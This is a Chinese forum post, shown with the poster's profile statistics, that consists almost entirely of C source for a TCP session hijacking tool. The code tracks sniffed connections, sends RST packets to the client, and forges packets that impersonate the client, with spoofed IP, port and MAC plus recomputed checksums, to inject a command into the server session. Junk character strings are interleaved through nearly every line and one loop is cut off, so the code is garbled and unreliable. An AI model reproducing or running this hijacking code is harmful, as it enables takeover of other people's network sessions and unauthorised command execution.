- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
|
pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE); 5 U$ `4 H* u9 O% v2 h
//reset action flag
# S2 C/ ^- r: p! p! | ResetActionAllFlag();
$ j7 e! s) v/ E5 X0 U }
$ D5 T* b7 X; n* s! b8 N //start hijack 7 U# ]( ?; u2 |2 t& o% P. R
else if(g_dwAction == ACTION_HIJACK)
8 I) K6 f& ?" i; _ { 6 z6 O$ A8 C/ u/ d* ]
//send rst packet to client ; k' a" n* `$ s% N7 h2 u2 w1 R
SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq);
# y' D3 V! q& g I2 B1 W //send hijack packet to client
@) R) E" [/ S- U% P SendHiJackPacket(pTCPPacket); 1 U0 K2 t8 w$ J: J/ P8 X
//reset action flag , r T! E% ~, N* Q
ResetActionAllFlag();
: x% {: X2 [% {/ Q. f) D7 M6 M }
7 h2 R2 F' q7 C' I, j/ Z3 N6 ] } , P- } k0 T7 W; E: k! Y
//show the tcp data 9 O b$ W2 S! {( A6 Z
if( (g_dwAction == ACTION_WATCH) && (usDataLen) ) 3 @4 _! M, d7 t! J- N) N
{
4 S' W( \6 ]7 P1 S1 p ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); 3 }) m u9 n$ L; K7 c1 @6 M1 D$ D2 U
//暂不考虑IP、TCP头不是20字节的情况 " g$ I% U2 B9 K( E+ W
//pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen; & ?6 h9 e, Z6 N6 T( H6 l: w' G
pStr = (char *)pTCPPacket + 54;
- A/ E# k. s, q9 {8 w! d9 V for(i=0; i }
Q9 G) ]: r, V, U; y- x }
. v, l6 {% s3 L( U# U //debug output 5 }) H: p6 t4 H. A+ P0 ^; i6 `/ R
//ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); * Z, V _( V; T% b2 c' {( B/ k
}//end of analyse packets while % c& n" {8 X6 D+ d5 f9 w# Z
}//end of recv packets while ( G+ V, O4 O- v7 Q& u! |4 Z% X
PacketFreePacket(lpRecvPacket);
$ W9 u& m3 @1 L0 A4 t$ [; P; K% R return 0; + A5 W; Q9 n0 X4 {/ `1 T, Y! T/ O
}
3 O# S7 B2 y" I+ w3 ]7 _' q& J, X6 \ F/ c
; Q, T3 {8 y" Q8 s// ( `" k1 C1 N/ q% Q7 l! [5 k* T1 ^ Q
//功能:操作记录所有连接信息的单向链表 * _9 d2 ?* e9 {( h
//
/ n8 Y0 w1 N$ J0 a/ q4 o( F: K+ HDWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
/ r9 X9 g. T5 O' H3 R# Q USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
I5 h% {/ M3 [ @# g{ 0 z; r- H, s: n* x2 D
PCONNINFO pNew, pTmp;
1 r, M2 ^5 p S+ M$ n: Q* t& D: p" p: b3 S. c/ o* c; m+ U
pTmp = g_pConnHead; , o0 e) r5 N7 k. Y0 o/ O5 f6 a
while(pTmp)
, d! A. o3 G( ]% i, I {
% ~* E9 z# Z/ S if(pTmp->bActive) 6 f9 v1 f- l: c/ ^* F5 S$ _0 I0 J
{
: X1 A/ `, V, Y6 C# e //found it 3 x7 q9 R5 k& `. F& e1 z! D
if( (pTmp->dwServerIP == dwServerIP) && i3 ?& C, ^6 a/ Z
(pTmp->uServerPort == uServerPort) && % d/ C8 E) p# Z5 ^, E9 t3 V) p
(pTmp->dwClientIP == dwClientIP) &&
: a6 } P+ w! T (pTmp->uClientPort == uClientPort) ) $ ?; n ]1 m, `+ T
{ " B. w; ^* M% |( J1 D
if(bDelete) 2 ~3 J) X0 m* V' @$ ]
{
) N5 H/ P- d- n" E. @ pTmp->bActive = FALSE;
* W& b8 i% p' j# [5 u return 0; , k: k7 t: g) D/ x+ i2 B r# ]
}
; y; o1 R0 z" k9 r9 X else return pTmp->ident; # R! @/ h+ X- \/ e+ y
} 6 _2 u2 i7 L# _* \, j4 O9 [
} ( [5 X+ ~0 j" r+ s+ y0 v- A, g4 ^
pTmp = pTmp->Next; : L7 P* w. A( b/ v- r: e
}
. A' D; ~' Y5 Y2 ] //not found, create new node * m6 q0 Z* K6 F% P- w2 ^7 f
if( (!pTmp) && (!bDelete) && (bAddNew) )
" u: o1 O% I$ b: } {
9 @' O) p" Z4 c& C8 | //search unactive note
. {! e9 G0 S# J S; O) e pTmp = g_pConnHead;
0 P% E7 G2 D5 B: Q% ]2 N1 Q while(pTmp)
2 z S3 N: _2 i. ^9 Z* F. E- c {
$ o8 D! O" v. Z' f if(!pTmp->bActive) break; " f2 D8 E% ?4 u
pTmp = pTmp->Next; / B' i k, D% t% h- w0 r1 {& e9 s
} % N2 S: @8 u) e/ T, K( O7 \3 Z
//found a unactive node 7 M( K/ b0 i! g# M- A! |
if(pTmp) 4 V/ N5 a# F# f5 x. B6 b2 j
{
! o0 f7 X* ~6 v! I3 s8 b1 V pTmp->dwServerIP = dwServerIP;
, x5 ^: u6 l" q# O1 J. p pTmp->uServerPort = uServerPort;
# s' i @: t! f+ _2 z8 h% U% F) h; \) M pTmp->dwClientIP = dwClientIP; ; X# S3 W7 N6 G+ Y6 I; m
pTmp->uClientPort = uClientPort;
( k: P3 p# y& z+ a4 A5 f& V% Z2 H pTmp->bActive = TRUE; " ^8 ]6 V) j# A$ q! q/ K+ _
return pTmp->ident; , J" L# f3 J7 V% q6 {2 A- Z( G
} " F6 ]% n! r! \/ n; K0 s6 V! W
//not found,create new node ( Y* P* I1 x6 P8 z5 q; L6 l! J
pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
@- q$ _' @2 O# n' p% g7 v/ V# Q W if(!pNew) . Z2 K/ h. b& y$ w7 i) T
{ ! C. U2 t, c9 T
printf("malloc for link node error:%d\n", GetLastError());
4 a& K: E1 M0 I5 V) f- r return 0;
: \5 T3 \1 j* ?+ T' z1 ^ } 2 t* Z2 X( M2 [! z. n D* [
//fill the struct - j8 V+ m1 S* k/ \6 K3 b/ }1 s
pNew->bActive = TRUE; + `+ G1 V: h. {& ?: `1 g
pNew->dwServerIP = dwServerIP;
" v9 z4 j! `" L- [# Q# q pNew->uServerPort = uServerPort;
0 O7 r9 t3 Y+ E4 u F pNew->dwClientIP = dwClientIP; 8 Y" [1 M! f# u @2 }3 ~% Z
pNew->uClientPort = uClientPort; 4 T7 n/ W# v4 R* v/ X7 j& h
pNew->ident = ++g_ident; Y5 ^9 g7 _1 N& e
pNew->Next = NULL;
3 B) E- F% `" M M# l& J //add new node to link * i( U6 U# f; U# J" V$ b2 D
if(!g_pConnHead)
# j/ z. J0 m1 S& z% h6 ]$ ]" G g_pConnHead = g_pConnLast = pNew; ; X" A- m; s( r- j7 u
else
}# g4 A+ s, b' E$ x4 R! z( Q, P7 l {
( F' e$ E' Q) r6 J( ? g_pConnLast->Next = pNew; 7 [9 Y+ ~: T7 t4 D) W+ ^
g_pConnLast = pNew;
7 L. ~5 `" h0 K& l* Y* z* v } $ m+ x( @% a3 y4 k3 Q. h
return pNew->ident;
, u1 j9 V4 B5 J9 o; u3 F } 5 |* S$ U5 l( h9 V( D4 p
return 0; ; f+ z/ _9 o4 B+ b* _2 U
}
! f$ o: b% w( ~1 F( I* ]8 Q- `8 V) Z
//
6 F5 g3 ]2 @3 j0 |1 E3 c//功能:判断一个数据包是不是只有ACK标志 6 G$ S" t5 ~6 |) i/ `
//
3 y7 S, M) R9 T% G: h' s# WBOOL IsACKPacket(unsigned char flag) 8 D! U/ t' N. A" D; F( x$ q) E
{ ; h8 E& @9 _1 P2 O. b+ f0 {
int i, j=1; 6 M+ ^8 _* S; y+ w) k- w6 W
for(i=0 ; i<4; i++)
: W& D$ b9 l& o0 l2 p { ( ?' w9 O' H8 M- d! r
if(flag & j) return FALSE; 8 q! L v l8 d! J2 z
j <<= 1; 3 L" v7 d* p3 Z' c0 {
} . d- s2 W" f4 F1 g9 E
if(!(flag & 0x10)) return FALSE;//is ack? % \0 m" M& Q% t6 u/ Q0 p
if(flag & 0x20) return FALSE;
" f3 L W, ]; s( V5 a return TRUE; & I9 J4 ~' w0 _# X' B6 q$ M
} 1 v8 [" {. r8 k" X3 O8 X
( I: V: t& \( H% H// ' C! |: {+ A E: t( a' j; |
//功能:伪装成Client给Server发送数据包 4 z( C1 W) Z5 |% X
// 5 H" @# F. K3 M
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket) + O& K! x3 H6 X b
{
. o+ ?" C6 D7 R0 C6 G3 R% a9 }, L# H
char szBuff[1520];
. t+ N6 Z0 v! e! B3 P PSDHDR psdhdr; $ t+ G- b0 F/ O' e3 K
PTCPPACKET pHiJackPacket = NULL;
. Q( |/ \% b. y BOOL bRet = FALSE; ; `' q% Z% x7 a! I
: ]/ o$ g- G' q7 ]1 U6 N. Y/ M
__try
+ v( O; I5 ~( w5 v) D$ p) l. r {
$ Y, Q6 @- W5 g+ h, R4 w8 u. n //
, t) j+ ~3 N4 d) z6 v4 F if(!g_pCurrCtrlConn) __leave;
7 m! p7 `" \" h5 m //allocate memory for hijack packet ( r# B6 h6 u1 Y8 b) z* ~) ]( T q
pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
5 u4 `4 v5 M/ d if(!pHiJackPacket)
% W+ p* {4 F8 r% y0 i {
3 V% }- R; y1 e( D1 n" _ printf("malloc error:%d\n", GetLastError()); ' i2 j! Z& p5 g8 b. X7 r
__leave; / B5 S9 \1 C7 Q/ w5 g' P0 }
}
) ^2 V" M( C& _0 G% L( ~+ x memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
- x5 I6 k: Q! l/ ]5 s, k //-------------- modify the packet ---------------//
7 u1 L& s) C/ Q H6 K! { //modify ethernet head ) d, H4 L2 m: i
memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6);
5 F. S. C' i1 a3 s) Q memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6); / u+ i6 H4 f6 E+ T f! ?
//modify ip head
3 v* [8 z+ ~/ M% y pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long));
: h" D: u! q& b2 n/ E8 Y) m pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
) N: y- J: Q( d* j. x pHiJackPacket->iphdr.ident += 1;//标识加1 o0 G& I4 Q& x
pHiJackPacket->iphdr.checksum = 0;
$ z0 ?3 h+ C0 o0 u pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址,伪装成client 5 e2 ~) I* M9 I4 D8 |
pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址,接收hijack包的地址 5 {: j5 q. j' C' }2 n6 N5 N9 v
//modify tcp head & V2 s8 ^ K' v1 @/ p
pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port ! `* ]( g4 o ]" [
pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port
. Z% z# g/ r2 ~( d2 z; D8 T. G- e pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0); ' z5 z! U3 V2 h2 N
pHiJackPacket->tcphdr.th_flag = 0x18;// PA
7 g& A `8 D; k+ h. X9 B, e, V& @ pHiJackPacket->tcphdr.th_sum = 0;
+ `( {# H5 w2 C: E/ W pHiJackPacket->tcphdr.th_win = 0x3F44;
9 r1 j* |. a9 ~) h5 V //fill tcp psd head
2 E W( x2 j# r psdhdr.saddr = pHiJackPacket->iphdr.sourceIP; 3 E' Y- h8 n+ b5 K- h$ J0 |( C
psdhdr.daddr = pHiJackPacket->iphdr.destIP;
! U V7 V# v# G S. \ psdhdr.mbz = 0; 3 S ?, s& W2 g z9 t/ a4 `
psdhdr.ptcl = IPPROTO_TCP; $ C: h# ^0 e# k
psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
+ v% g+ C/ f/ d r4 a6 a l //calculate tcp checksum . r( r0 F$ G6 Z' l5 q7 m
memcpy(szBuff, &psdhdr, sizeof(PSDHDR));
. f2 y& ` S+ V$ S memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR));
' Q; d$ p. |2 f# ]# ^ memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand)); * Z+ N, S. x1 z" c. A% n& B6 t
pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand)); # Y3 t8 k0 ]2 A0 Q0 r/ V
//calculate IP checksum
3 |# s, f( `6 U2 Q, Y pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR));
m6 J6 E9 w/ b- q //fill send buffer
# P+ U, T# d. J memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
3 k+ H% h5 P' m( h! h memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
. v- J i! b8 u/ e memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
' v* m8 \ a' Z; t" ? memset(g_lpSendPacket->Buffer, 0, 1514); - q* [5 r: l2 |- y: E6 z0 i
memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand)); $ h! p9 `* O" e, z r5 l
if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
( ]2 n2 q8 }6 w {
: |" x! ^ }( g9 o, B& Y* Q) E' q printf("Error sending the hijack packets!\n");
! b' d! {% @( n Y+ t7 c* {, _5 m __leave;
& n1 o& k( L- ]% [2 D3 \& \* @ }
& Y; k7 E. ~) g else printf("Send hijack packet ok!\n"); * J3 y: I6 ^; `# @. T
bRet = TRUE;
+ r( R) i! E# |6 W o } |
|